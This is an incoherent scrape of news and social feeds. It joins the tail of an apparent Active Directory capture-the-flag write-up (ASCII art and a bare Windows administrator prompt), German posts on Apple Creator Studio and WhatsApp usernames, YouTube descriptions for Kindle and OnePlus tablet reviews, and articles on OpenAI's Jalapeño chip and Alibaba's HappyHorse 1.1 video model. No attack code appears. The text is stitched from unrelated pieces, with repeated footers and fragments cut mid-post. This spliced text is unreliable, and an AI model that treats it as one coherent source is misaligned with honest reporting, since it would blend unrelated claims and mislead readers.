⠀⠀⢀⡴⠋⠁⠀⡉⠁⢐⣒⠒⠈⠁⠀⠀⠀⠈⠁⢂⢅⡂⠀⠀⠘⣧⠀⠀⠀⠀
⠀⠀⣼⠀⠀⠀⠁⠀⠀⠀⠂⠀⠀⠀⠀⢀⣀⣤⣤⣄⡈⠈⠀⠀⠀⠘⣇⠀⠀⠀
⢠⡾⠡⠄⠀⠀⠾⠿⠿⣷⣦⣤⠀⠀⣾⣋⡤⠿⠿⠿⠿⠆⠠⢀⣀⡒⠼⢷⣄⠀
⣿⠊⠊⠶⠶⢦⣄⡄⠀⢀⣿⠀⠀⠀⠈⠁⠀⠀⠙⠳⠦⠶⠞⢋⣍⠉⢳⡄⠈⣧
⢹⣆⡂⢀⣿⠀⠀⡀⢴⣟⠁⠀⢀⣠⣘⢳⡖⠀⠀⣀⣠⡴⠞⠋⣽⠷⢠⠇⠀⣼
⠀⢻⡀⢸⣿⣷⢦⣄⣀⣈⣳⣆⣀⣀⣤⣭⣴⠚⠛⠉⣹⣧⡴⣾⠋⠀⠀⣘⡼⠃
⠀⢸⡇⢸⣷⣿⣤⣏⣉⣙⣏⣉⣹⣁⣀⣠⣼⣶⡾⠟⢻⣇⡼⠁⠀⠀⣰⠋⠀⠀
⠀⢸⡇⠸⣿⡿⣿⢿⡿⢿⣿⠿⠿⣿⠛⠉⠉⢧⠀⣠⡴⠋⠀⠀⠀⣠⠇⠀⠀⠀
⠀⢸⠀⠀⠹⢯⣽⣆⣷⣀⣻⣀⣀⣿⣄⣤⣴⠾⢛⡉⢄⡢⢔⣠⠞⠁⠀⠀⠀⠀
⠀⢸⠀⠀⠀⠢⣀⠀⠈⠉⠉⠉⠉⣉⣀⠠⣐⠦⠑⣊⡥⠞⠋⠀⠀⠀⠀⠀⠀⠀
⠀⢸⡀⠀⠁⠂⠀⠀⠀⠀⠀⠀⠒⠈⠁⣀⡤⠞⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠙⠶⢤⣤⣤⣤⣤⡤⠴⠖⠚⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
C:\Users\Administrator\Desktop>

If you got here, I want to thank you for the time you took to read my article. I hope you enjoyed it and also learned something from it. Why not take a look at some of my other articles?

Hack Smarter — City Council (Active Directory) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Der Beitrag Creator Studio: Apple pumpt KI in Final Cut Pro, Pixelmator Pro und Co. erschien zuerst auf appgefahren.de.

The post Apple releases power-packed updates to Apple Creator Studio appeared first on MacDailyNews.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Apple Creator Studio updates bring new tools, smarten up existing ones and let you access Pixelmator Pro from inside other apps.

(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

Apple erweitert sein Anfang des Jahres eingeführtes Softwarepaket Apple Creator Studio um zahlreiche neue Funktionen. Im Mittelpunkt stehen zusätzliche KI-Werkzeuge, eine engere Zusammenarbeit der enthaltenen Anwendungen und Verbesserungen für Video, Bildbearbeitung und Musikproduktion. Das Update steht bestehenden Abonnenten ohne Aufpreis zur Verfügung. Bereits zum Start hatte Apple sein Kreativangebot als Abo für Final Cut Pro, […]

The post Apple Creator Studio erhält KI-Ausbau und engere Verzahnung der Apps first appeared on ifun.de.

Meta, der Großkonzern hinter Whatsapp, hat soeben bekannt gegeben, dass sich Whatsapp-Nutzer weltweit einen Namen reservieren können, mit dem sie in der App angezeigt werden. Die Neuerung steht schon seit Längerem an, doch erst Anfang April wurde die Funktion für erste Nutzer freigegeben.

Ab sofort wird die Namensreservierung an Whatsapp-Nutzer weltweit ausgerollt, sodass auch wir in Deutschland davon profitieren können. Die Benutzernamen sollen für mehr Sicherheit und Privatsphäre sorgen, da es nicht mehr nötig ist, die eigene Telefonnummer an jeden Kontakt herauszugeben.

Whatsapp schreibt hierzu:

Wenn jemand Neues in dein Leben tritt – ein Klassenkamerad, ein Nachbar, jemand, den du auf einer Veranstaltung kennenlernst –, kann es sich wie ein großer Schritt anfühlen, die Handynummer weiterzugeben. Das liegt daran, dass eine Handynummer etwas Persönliches ist und mit so vielen Bereichen deines Lebens verbunden ist. Manchmal möchtest du einfach nur chatten, ohne deine Nummer preiszugeben. (…) Deshalb führen wir Benutzernamen für WhatsApp ein. Ab dieser Woche kannst du einen Benutzernamen reservieren, den du später in diesem Jahr nutzen kannst, wenn wir diese Funktion einführen. Bei über drei Milliarden Nutzern auf WhatsApp überschneiden sich viele Namen, weshalb wir die Reservierungen frühzeitig öffnen, damit jeder die Möglichkeit hat, den Benutzernamen auszuwählen, der ihm wichtig ist.

Der reservierte Nutzername wird also erst im Laufe des Jahres zum Einsatz kommen. Wer einen ganz bestimmten Namen haben möchte, kann aber schon jetzt dafür sorgen, dass dieser nicht vergriffen ist. Für Unentschlossene soll es außerdem die Möglichkeit geben, einen Namen mithilfe eines Namensgenerators zu erstellen.

Außerdem soll es möglich sein, als Unternehmen oder Contet Creator einen bestimmten Namen beizubehalten, wenn dieser bereits als Nutzername auf Instagram oder Facebook beansprucht wurde.

Um mit einer Person auf Whatsapp zu chatten, die noch nicht zu den eigenen Kontakten gehört und auch nicht die eigene Telefonnummer herausgeben wollte, müssen Sie den genauen Namen kennen, den sie sich ausgesucht hat. Das soll verhindern, dass Nutzer rein über ihren Klarnamen oder andere erwartbare Namen zu finden sind.

Zusätzlich können Sie auch einen Benutzernamenschlüssel festlegen, den die Person, ähnlich wie ein Passwort, kennen und eingeben muss. Das ist aber optional, genau wie der Benutzername selbst.

So reservieren Sie einen Nutzernamen für Whatsapp

Das Reservieren eines Benutzernamens in Whatsapp funktioniert über die Einstellungen unter Konto > Benutzername. Beachten Sie, dass diese Option schrittweise ausgerollt wird und unter Umständen nicht sofort angezeigt wird.

Der Name muss 3 bis 35 Zeichen lang sein, mindestens einen Buchstaben enthalten, aus Kleinbuchstaben (a bis z), Ziffern (0 bis 9), Punkten (.) und Unterstrichen (_) bestehen und darf nicht mit “www” beginnen oder mit .com, .net oder anderen Top-Level-Domains enden.

Sobald sie einen Namen festgelegt haben und Whatsapp die Funktion weltweit freigeschaltet hat, wird dieser anstelle Ihrer Telefonnummer in Einzel- und Gruppenchats angezeigt.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Read more of this story at Slashdot.

Read more of this story at Slashdot.

Policymakers often face a dangerous dilemma: preserve privacy and security for everyone, or break encryption so law enforcement can catch criminals. This is a false choice.

The post Solving Crime Without Breaking Encryption appeared first on Internet Society.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Amazon Kindle 12th Gen Signature Edition ($199.99): https://amzn.to/3PzR8UE

Amazon Kindle ColorSoft Signature Edition ($279.99): https://amzn.to/3PlI45J

Amazon Kindle ColorSoft Regular ($249.99): https://amzn.to/42w869i

Amazon Kindle Scribe ($399.99): https://amzn.to/4ucvlkY

*prices listed for lowest available storage, regular price - click for current sales!

📚 Looking for the best Kindle in 2026? I tested four different Amazon Kindle models side-by-side to find out which one is worth your money.

In this video we're comparing the Kindle Paperwhite Signature Edition, Kindle Colorsoft Signature Edition, Kindle Colorsoft, and Kindle Scribe. We'll cover display quality, battery life, note-taking features, waterproofing, wireless charging, color e-ink, reading experience, and which Kindle is best for novels, manga, comics, PDFs, students, and productivity.

Whether you're reading Dune, Project Hail Mary, Three Body Problem, manga, graphic novels, or just looking for the best e-reader for everyday use, this guide should help you choose the right Kindle.

#Kindle #AmazonKindle #KindleColorsoft #KindleScribe #Ereader #BookTok #Reading

https://koreader.rocks/

https://us.kobobooks.com/collections/ereaders?srsltid=AfmBOop5SVSJeeUrvO1HegdwopqujMHsM14qNEyYvnC2RCaUeFmdd4zp

https://github.com/joeycastillo/The-Open-Book

https://readest.com/

https://www.theverge.com/tech/908302/amazon-ending-support-kindle-fire-tablet-e-reader-pre-2012-older

https://www.theverge.com/news/612898/amazon-removing-kindle-book-download-transfer-usb

https://www.npr.org/2009/07/24/106989048/amazons-1984-deletion-from-kindle-examined

https://calibre-ebook.com/

Chapters:
Which Kindle Should You Buy?
01:15 Kindle Lineup Overview
03:02 Design and Build Quality
07:28 Display Differences
14:30 Performance and Features
21:02 Battery Life
22:15 Who Each Kindle Is For
25:03 Kindle Alternatives
29:08 Kindle Ownership, DRM & Physical Books
32:10 Final Recommendations


Becoming a Morse Code Member by checking out the perks linked here!:
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join

Editor: @ColleenEdits

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

SUBSCRIBE! 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

SUPPORT MY WORK
PATREON 💛 https://www.patreon.com/ShannonMorse
BUY ME A COFFEE 💛 https://www.buymeacoffee.com/snubs
MY SHOP 💛 https://shannonrmorse.com/shop
SPRING SHOP 💛 https://morsecode.creator-spring.com/
ACTIVE COUPON CODES 💛 https://shannonrmorse.com/support

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

FOLLOW THE SOCIALS THINGS
THREADS 🌸 https://www.threads.net/@snubs
INSTAGRAM 🌸 http://www.instagram.com/snubs
TIKTOK 🌸 https://tiktok.com/@snubsie
YOUTUBE 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1
WEBSITE 🌸 https://www.morsecodecreative.com/

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

TECH I USE AND RECOMMEND
My Kits, Builds, and Must Haves ✨ https://kit.co/ShannonMorse
My Amazon Influencer Page ✨ https://www.amazon.com/shop/shannonmorse
My LiveStreaming Software ✨ https://streamyard.com/pal/d/6029725427957760

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

MY OTHER SHOWS
Shannon Travels The World 🌙 https://www.youtube.com/@ShannonTravelsTheWorld/featured
Sailor Snubs 🌙 https://www.youtube.com/@SailorSnubs/featured

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

GET IN TOUCH
Mail ✈
https://shannonrmorse.com/contact

Email for Business and Sponsorship Inquiries ✈ Shannon@ShannonRMorse.com
My Media Kit ✈ https://shannonrmorse.com/work-with-me
Sponsor This Channel ✈ https://shannonrmorse.com/shannon-morse

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

😍 FTC DISCLAIMER 😍
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!

Comment section code of conduct policy:
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)
https://shannonrmorse.com/code-of-conduct

Code of Ethics:
https://www.morsecodecreative.com/code-of-ethics

FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.

According to its creators, Jalapeño is designed to support workloads behind ChatGPT, Codex, the API and future agentic products, though notably, both OpenAI's and Broadcom's news releases position it as a product that could be made available to external AI firms as well — "built from the ground up for current and future LLMs across the industry." [Emphasis mine.]

Jalapeño's engineering timeline set a blistering pace for the semiconductor industry, moving from early schematics to fabrication readiness within a brief nine-month window, when new processor development cycles are typically measured in years. Indeed, the OpenAI and Broadcom partnership itself was only publicly announced in October 2025.

The companies attributed this speed to a deep software-hardware co-development process that actively used OpenAI’s own models to accelerate parts of the chip design.

After receiving an early physical model on Wednesday, OpenAI outlined plans to begin rolling out these processors across active data centers by the end of this year. OpenAI says it has already begun testing running at least one of its prior generation models, GPT‑5.3‑Codex‑Spark, on the chips at a production workload, though in a test environment.

The release marks a major strategic expansion for the ChatGPT creator as it attempts to build the full computational stack required to make advanced AI faster, more reliable, and more accessible.

There remain, of course, many outstanding questions — including how the new Jalapeño chip performs compared to direct competitors, its costs, and its manufacturing viability.

Why OpenAI Built an ASIC

To understand why OpenAI is moving into chip design, it helps to look at the architecture. Jalapeño is an Application-Specific Integrated Circuit, or ASIC.

Unlike a GPU, which can handle many types of workloads, an ASIC is tuned for narrower uses, as industry experts note. That narrower focus can make it cheaper and more efficient for specific AI tasks, though less adaptable than Nvidia-style GPUs.

In Jalapeño’s case, OpenAI is starting from a clean design focused on modern LLM serving, instead of adapting a broader accelerator to fit its needs. The company says the architecture is shaped by its experience running large-scale AI products and is meant to reduce unnecessary data movement while better matching compute, memory and networking resources.

Broadcom is contributing core silicon implementation and networking technology, including Tomahawk networking silicon, while Celestica is helping with board, rack and system integration. The goal is to move the chip closer to its practical performance ceiling in real workloads, not just improve theoretical benchmarks.

However, OpenAI's pivot into proprietary hardware is not just as a quest for technical supremacy: it may also make its core unit economics far more sustainable.

Audited financial documents posted recently by AI critic and AI public relations specialist Ed Zitron revealed that while OpenaAI generated an impressive $13.07 billion in revenue throughout 2025, its total operational expenses for the year ballooned to $34 billion, resulting in an operating loss of nearly $20.92 billion.

The primary culprit behind this cash hemorrhage involved pure compute requirements, though more is likely due to training than inference.

In 2025 alone, research and development costs—driven largely by the infrastructure required to train and serve massive language models—accounted for $19.18 billion, or approximately 56 percent of the company's entire spending footprint. Furthermore, OpenAI reportedly paid Microsoft over $10.59 billion just for R&D and compute infrastructure last year.

Still, as OpenAI lays the groundwork for a heavily anticipated public offering in 2026, the Jalapeño inference chip may offer some reassurance to private investors and public markets that OpenAI has a plan for digging itself out of the financial hole and moving toward profitability. If it can drive down the costs of AI inference, then maybe it can recoup some of the losses spent on costly training runs.

"By designing more of the stack ourselves, we can serve more intelligence with greater efficiency and keep pushing advanced AI toward broader access," said Greg Brockman, OpenAI's president and co-founder, in a statement included in Broadcom's release.

What Does This Mean for Nvidia and All of OpenAI's Other Chip Providers?

The introduction of Jalapeño immediately raises questions about OpenAI's strategic positioning within the fiercely competitive semiconductor and GPU market.

Since kicking off the generative AI boom in late 2022, OpenAI has remained one of the largest customers of GPU market leader Nvidia's premium products, but has also taken billions in investment dollars from the firm (engendering accusations of "circular dealing"), and expanded to work with other rival chipmakers to fuel its appetites.

• Nvidia: In February 2026, Nvidia finalized a $30 billion direct investment into OpenAI as part of a massive $110 billion funding round.This deal secured an agreement to deploy 10 gigawatts of computing systems—including 3 gigawatts of dedicated inference capacity and 2 gigawatts of training capacity—utilizing Nvidia's next-generation Vera Rubin platform. Sources close to the companies tell VentureBeat Nvidia will remain central to OpenAI, particularly on the model training and development side.

• Amazon Web Services (AWS): As part of the same February 2026 funding round, Amazon invested $50 billion into OpenAI. This deal included a commitment for OpenAI to consume approximately two gigawatts of AWS's proprietary Trainium computing capacity over the next eight years.

• Advanced Micro Devices (AMD): OpenAI signed agreements with Nvidia's chief hardware rival, AMD for the former's usage of the latter's AMD Instinct™ MI450 Series GPUs.

• Cerebras: The company also struck a pact with Cerebras, an AI chipmaker that executed its initial public offering in May 2026.

The Global Silicon Arms Race: OpenAI Joins AI Infrastructure Heavyweights

Before the introduction of Jalapeño, OpenAI operated at a distinct structural disadvantage compared to the world's vertically integrated technology empires.

Tech giants like Google and Amazon have for years utilized their own mature custom silicon programs— Google's Tensor Processing Units (TPUs) and Amazon's Trainium lines—to serve massive computational workloads at drastically lower margins.

Microsoft, OpenAI's primary cloud provider and single biggest financial backer, aggressively entered the bespoke silicon market by launching the Azure Maia 100 accelerator in late 2023.

Microsoft subsequently escalated this effort in January 2026 by introducing the Maia 200, an inference powerhouse built on TSMC's 3-nanometer process that already actively powers OpenAI's GPT-5.2 models within Azure data centers.

Similarly, Meta has aggressively expanded its Meta Training and Inference Accelerator (MTIA) portfolio in recent years, debuting the MTIA 300, 400, 450, and 500 series to power its recommendation engines and generative artificial intelligence features without relying solely on Nvidia.

Jalapeño provides OpenAI with the opportunity to match and offset the hyperscaler advantage. By baking its software architecture directly into a proprietary processor, OpenAI has the chance to replicate, at least in part, the playbook used by Google, Amazon, Microsoft, and Meta — transitioning from a captive cloud customer into a more independent AI infrastructure provider.

The timing is ripe amid a rapidly escalating global silicon arms race. Driven in part by United States export restrictions, Chinese tech heavyweights are pursuing more of their own custom AI chip hardware, too:

• In May, Alibaba's semiconductor division, T-Head, unveiled the Zhenwu M890, a proprietary processor expressly engineered for autonomous AI agents that require massive memory bandwidth and long-running context windows.

• Huawei is reportedly gearing up to release its new Ascend 950DT chip next month

• ByteDance, the corporate parent of TikTok, reportedly entered active negotiations with Qualcomm in June 2026 to design custom application-specific integrated circuits for its data centers to escape third-party dependency.

By successfully finalizing the Jalapeño design, OpenAI is seeking to move beyond the traditional confines of a software laboratory and stand shoulder-to-shoulder with international cloud and infrastructure titans.

The Gigawatt Future

This sprawling web of vendor agreements highlights the sheer scale of OpenAI's infrastructural ambitions. The ultimate goal of the OpenAI and Broadcom partnership involves deploying gigawatt-scale data centers with Microsoft and other partners beginning in 2026 — that is, data centers with compute requiring energy on the order of cities.

For Broadcom, the partnership acts as a massive reputational catalyst. The company has been among the biggest beneficiaries of the generative AI boom, helping hyperscalers and frontier labs engineer custom silicon.

Broadcom shares reflect this momentum, demonstrating an 18% year-over-year increase in the first part of 2026 and a nearly 7X boost since the end of 2022, according to CNBC.

Ultimately, Jalapeño confirms that OpenAI believes it is ready to move beyond software and code into the realm of real-world, custom hardware.

By controlling the physics of its inference pipeline—while simultaneously leveraging the capital and hardware of Nvidia, Amazon, AMD, and Cerebras—OpenAI is attempting to rapidly rewrite its future unit economics of AI.

📱 Looking for a budget Android tablet that doesn't feel cheap? The OnePlus Pad Go 2 might be one of the best values of 2026.

Buy via my affiliate links:
https://onepluscom.pxf.io/VO23rO *
https://bestbuycreators.7tiv.net/WO23jA *
https://amzn.to/3SFHhxD *

In this review, I take a look at the OnePlus Pad Go 2, a tablet designed for streaming, multitasking, note-taking, productivity, and everyday use. With a 12.1-inch 2.8K display, 120Hz refresh rate, MediaTek Dimensity 7300 Ultra processor, Open Canvas multitasking, AI-powered features, and support for the Stylo pen, this tablet packs a surprising amount into a very affordable package.

But is it worth buying, especially with questions surrounding OnePlus' North American roadmap? Let's find out!

Chapters:
Intro
00:42 OnePlus Pad Go 2 Overview
01:30 Display & Audio Quality
03:09 Performance & Multitasking
04:36 Patreon Shoutouts
05:15 Ecosystem Features & Connectivity
06:02 Battery Life Test Results
07:30 OnePlus Stylo Pen Features
08:35 AI Features & Productivity Tools
10:25 Design & Build Quality
11:13 Cameras & Software Support
12:02 Should You Buy the OnePlus Pad Go 2?
13:15 North America Availability Discussion
14:02 Final Thoughts & Patreon Credits

#OnePlus #OnePlusPadGo2 #AndroidTablet #TabletReview #TechReview


Becoming a Morse Code Member by checking out the perks linked here!:
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join

Editor: @ColleenEdits

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

SUBSCRIBE! 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

SUPPORT MY WORK
PATREON 💛 https://www.patreon.com/ShannonMorse
BUY ME A COFFEE 💛 https://www.buymeacoffee.com/snubs
MY SHOP 💛 https://shannonrmorse.com/shop
SPRING SHOP 💛 https://morsecode.creator-spring.com/
ACTIVE COUPON CODES 💛 https://shannonrmorse.com/support

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

FOLLOW THE SOCIALS THINGS
THREADS 🌸 https://www.threads.net/@snubs
INSTAGRAM 🌸 http://www.instagram.com/snubs
TIKTOK 🌸 https://tiktok.com/@snubsie
YOUTUBE 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1
WEBSITE 🌸 https://www.morsecodecreative.com/

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

TECH I USE AND RECOMMEND
My Kits, Builds, and Must Haves ✨ https://kit.co/ShannonMorse
My Amazon Influencer Page ✨ https://www.amazon.com/shop/shannonmorse
My LiveStreaming Software ✨ https://streamyard.com/pal/d/6029725427957760

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

MY OTHER SHOWS
Shannon Travels The World 🌙 https://www.youtube.com/@ShannonTravelsTheWorld/featured
Sailor Snubs 🌙 https://www.youtube.com/@SailorSnubs/featured

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

GET IN TOUCH
Mail ✈
https://shannonrmorse.com/contact

Email for Business and Sponsorship Inquiries ✈ Shannon@ShannonRMorse.com
My Media Kit ✈ https://shannonrmorse.com/work-with-me
Sponsor This Channel ✈ https://shannonrmorse.com/shannon-morse

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

😍 FTC DISCLAIMER 😍
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!

Comment section code of conduct policy:
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)
https://shannonrmorse.com/code-of-conduct

Code of Ethics:
https://www.morsecodecreative.com/code-of-ethics

FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.

The release arrives at a moment of remarkable upheaval in the AI video generation market — and Alibaba appears keenly aware of the timing. OpenAI discontinued Sora after it proved financially unsustainable. ByteDance indefinitely shelved the international rollout of Seedance 2.0 following a barrage of copyright complaints from Hollywood studios. For enterprise procurement teams that had been evaluating or integrating those tools into marketing, advertising, and content production workflows, the competitive landscape has contracted sharply in a matter of months.

That contraction creates both an opportunity and a test for Alibaba. HappyHorse 1.1 is not a research demo or a consumer toy — it is an API-first product built for integration into enterprise software stacks, priced for volume, and backed by a $52.7 billion global infrastructure buildout. Whether it can convert technical capability into enterprise adoption, particularly in Western markets navigating intensifying U.S.-China tech tensions, will determine whether Alibaba can establish itself as a serious player in the generative video market that analysts expect to reach tens of billions of dollars by the end of the decade.

How HappyHorse climbed from anonymous benchmark entry to top-ranked video model

HappyHorse first appeared in early April as an anonymous submission on the Artificial Analysis Video Arena, an independent benchmarking platform where real users compare model outputs in blind, side-by-side evaluations. The model immediately claimed the top position in both text-to-video and image-to-video rankings. Alibaba was subsequently confirmed as the creator, revealing it was built by the company's ATH (Alibaba Token Hub) AI Innovation Unit — a team previously part of the Future Life Lab under the Taobao and Tmall Group before a strategic organizational restructuring.

According to Arena.ai, HappyHorse 1.0 now holds the No. 2 position across all three Video Arena leaderboards. The platform noted the model scores 1,444 in both text-to-video and image-to-video categories, leading Google's Veo-3.1 (with audio) by 69 points in text-to-video and xAI's Grok-Imagine-Video by 23 points in image-to-video. In Elo-based ranking systems like Arena's, models gain or lose points based on whether users prefer their outputs in head-to-head comparisons, meaning persistent double-digit leads reflect a consistent quality gap as perceived by human evaluators — not a statistical fluke.

The model's architecture helps explain why. According to community-compiled technical documentation, HappyHorse is built around a 15-billion-parameter unified self-attention Transformer that processes text, image, video, and audio tokens within a single token sequence. Unlike many competitors that stitch together separate models for video and audio, HappyHorse operates as a unified system that handles all modalities in a single generation pass, eliminating the need for third-party dubbing or post-processing audio tools. For enterprise buyers evaluating total cost of ownership, that architectural simplicity translates directly into fewer integration points, fewer vendor dependencies, and faster time to production.

What the 1.1 upgrade fixes — and why it matters for commercial video production

The 1.1 upgrade targets a set of pain points that enterprise video production teams know intimately. Alibaba Cloud described the release as "systematically optimized across core content generation scenarios," and the specific improvements reveal a model that has been tuned for commercial deployment rather than viral social media demos.

The most consequential upgrade is multi-image reference capability, which Alibaba calls R2V (Reference-to-Video). The feature allows users to upload multiple character reference images and maintain consistent identity across generated video — directly addressing one of the hardest problems in AI video production, where subjects tend to drift in appearance between frames or shots. For brands producing advertising campaigns, product videos, or serialized marketing content, identity consistency is not a nice-to-have; it is a requirement that has historically forced teams back to traditional production methods.

Motion quality receives a significant overhaul, with what Alibaba describes as "strengthened motion modeling" that addresses prior limitations in speed and fluidity. The company also made targeted improvements to visual texture, specifically calling out the elimination of "facial oiliness," "over-sharpening," and "unnatural textures" — artifacts that have plagued commercial AI video since the technology emerged and that immediately signal to viewers that content is machine-generated.

Two additional upgrades round out the release. HappyHorse 1.1 improves audio-visual synchronization, including what Alibaba claims is "zero-drift lip sync" for dialogue scenes and context-aware speech pacing — building on the 1.0 version's already notable ability to generate up to 15 seconds of 1080p video with synchronized audio output. The model also improves instruction-following for long and complex prompts, a critical differentiator for enterprise users who need to specify precise camera movements, lighting conditions, and narrative beats in a single generation pass rather than iterating through dozens of attempts.

Sora's collapse and Seedance's freeze leave enterprise buyers with fewer choices than ever

The competitive context surrounding this launch is unusually favorable for Alibaba, and it is worth understanding why.

OpenAI's Sora web and app experiences were discontinued on April 26, with the Sora API set to follow on September 24. The shutdown came after the product proved financially untenable: Sora cost roughly $1 million per day to operate but generated only about $2.1 million in total revenue, while active users dropped from a peak near 1 million to under 500,000. For enterprise teams that had integrated Sora into production pipelines, the abrupt withdrawal underscored the risks of depending on AI products that lack a sustainable business model — a cautionary tale that procurement officers are unlikely to forget quickly.

ByteDance's Seedance 2.0, which many considered Sora's most formidable successor, ran into a different kind of wall. Netflix, Warner Bros., Disney, Paramount, and Sony sent legal threats to ByteDance over allegations of systematic copyright infringement after users generated viral clips featuring Hollywood intellectual property. ByteDance indefinitely postponed the international launch, and the global rollout remains suspended.

That leaves Google's Veo 3.1 as the primary Western competitor in the enterprise video generation space. But Alibaba's Arena rankings suggest HappyHorse is outperforming Veo on user-perceived quality, and the 40% launch discount on Alibaba Cloud Model Studio could make HappyHorse significantly cheaper at scale. At the 1.0 level, pricing through third-party API platforms ran roughly $1.82 per 10-second clip at 720p and $3.12 at 1080p. With the promotional pricing, HappyHorse 1.1 could bring production-quality AI video generation within reach of mid-market companies and agencies that previously considered the technology too expensive for anything beyond experimentation.

Alibaba's $52.7 billion infrastructure bet gives HappyHorse a distribution advantage rivals can't match

HappyHorse 1.1 does not exist in isolation. It sits atop a global infrastructure offensive that distinguishes Alibaba from pure-play AI model companies that build impressive technology but lack the physical and commercial machinery to serve regulated enterprise customers at scale.

Just five days before the HappyHorse 1.1 launch, Alibaba Cloud opened its first data centers in France, establishing its third European hub after Germany and the United Kingdom. The Paris region features two availability zones, bringing the company's global footprint to 105 availability zones across 32 regions. "The expansion of our cloud infrastructure into France reinforces our ongoing commitment to empowering European businesses with sovereign, secure, and intelligent solutions," said Dr. Feifei Li, Alibaba Cloud's CTO and president of international business, in the company's announcement. In Japan, the company opened its fifth data center in Tokyo on June 19.

As reported by Data Center Dynamics, CEO Eddie Wu has committed to investing $52.7 billion in building a "unified global cloud network," with the company later considering increasing this to $69 billion. This year alone, Alibaba has launched new regions in Mexico, Thailand, Malaysia's Johor, and France. The France deployment is also part of Alibaba Cloud's plan to roll out enterprise-grade agentic AI services across Europe in the second half of the year, including AgentRun (a development platform for AI agents), STAROps (an intelligent operations platform), and ACS Agent Sandbox (which provides hardware-level security isolation for agent workloads).

The infrastructure buildout serves a dual purpose for a product like HappyHorse. Running a 15-billion-parameter video generation model with integrated audio is extraordinarily compute-intensive, and having local infrastructure reduces latency for enterprise API calls while keeping customer data within regulatory boundaries. For European buyers operating under the European Commission's new tech sovereignty framework — published June 3 with the explicit goal of protecting the bloc's "digital independence" — the ability to run AI video generation workloads on locally hosted infrastructure is not a luxury. It is increasingly a compliance requirement.

The Pentagon listing and geopolitical risk loom over Alibaba's Western ambitions

Alibaba's global push is unfolding under significant geopolitical headwinds that enterprise buyers cannot afford to ignore. The Pentagon added Alibaba, along with BYD and Baidu, to its list of Chinese military companies on June 8, preventing them from securing U.S. defense contracts. Alibaba rejected the designation, saying it is "not a Chinese military company nor part of any military-civil fusion strategy."

The listing does not automatically trigger sanctions, and it does not directly restrict commercial transactions between private U.S. companies and Alibaba. But it adds a layer of reputational and regulatory complexity to procurement decisions, particularly for companies with U.S. government exposure, defense supply chain connections, or transatlantic operations. Enterprise technology purchases are rarely evaluated on technical merit alone — vendor risk assessments, board-level compliance reviews, and geopolitical scenario planning all factor into buying decisions for cloud infrastructure and AI tooling.

For European customers specifically, the calculus is layered in a different way. The continent's growing emphasis on digital sovereignty cuts in two directions simultaneously: it creates demand for alternatives to the dominant U.S. hyperscalers (Amazon Web Services, Microsoft Azure, and Google Cloud control roughly 70 percent of European cloud infrastructure revenue, according to Synergy Research Group), but it also raises questions about whether a Chinese provider represents a meaningful improvement in strategic autonomy. Alibaba's strategy of building sovereignty-compliant infrastructure in-market is a direct attempt to answer that question — but the Pentagon listing ensures it will be asked repeatedly.

What enterprise teams should watch as the AI video market consolidates

The practical implications of HappyHorse 1.1 for enterprise teams are substantial. HappyHorse supports four modes of generation — text-to-video, image-to-video, subject-to-video, and the newly added video editing — covering the full spectrum of commercial video needs from ideation through production to post-production, all with integrated audio at no additional cost. That breadth of capability, delivered through a single API endpoint, simplifies what has historically been a fragmented and expensive production pipeline.

The question going forward is whether Alibaba can convert benchmark dominance and competitive timing into durable enterprise relationships. The company plans to release HappyHorse through Alibaba Cloud Model Studio with full enterprise SLAs, security certifications, and regional compliance — the table stakes that separate research breakthroughs from production-grade services. Watch for customer disclosures, usage metrics, and whether third-party platforms like fal.ai and Atlas Cloud (which already host HappyHorse 1.0) update to the 1.1 version quickly, which would signal genuine developer demand beyond Alibaba's own ecosystem.

The AI video generation market entered 2026 with three credible enterprise contenders. One is dead. One is frozen. And the one still standing is a Chinese company backed by $52.7 billion in infrastructure spending, ranked No. 2 across every major independent benchmark, and offering a 40% discount to anyone willing to place the bet. In enterprise technology, the best product does not always win — but it rarely loses when the competition has already left the field.

Read more of this story at Slashdot.

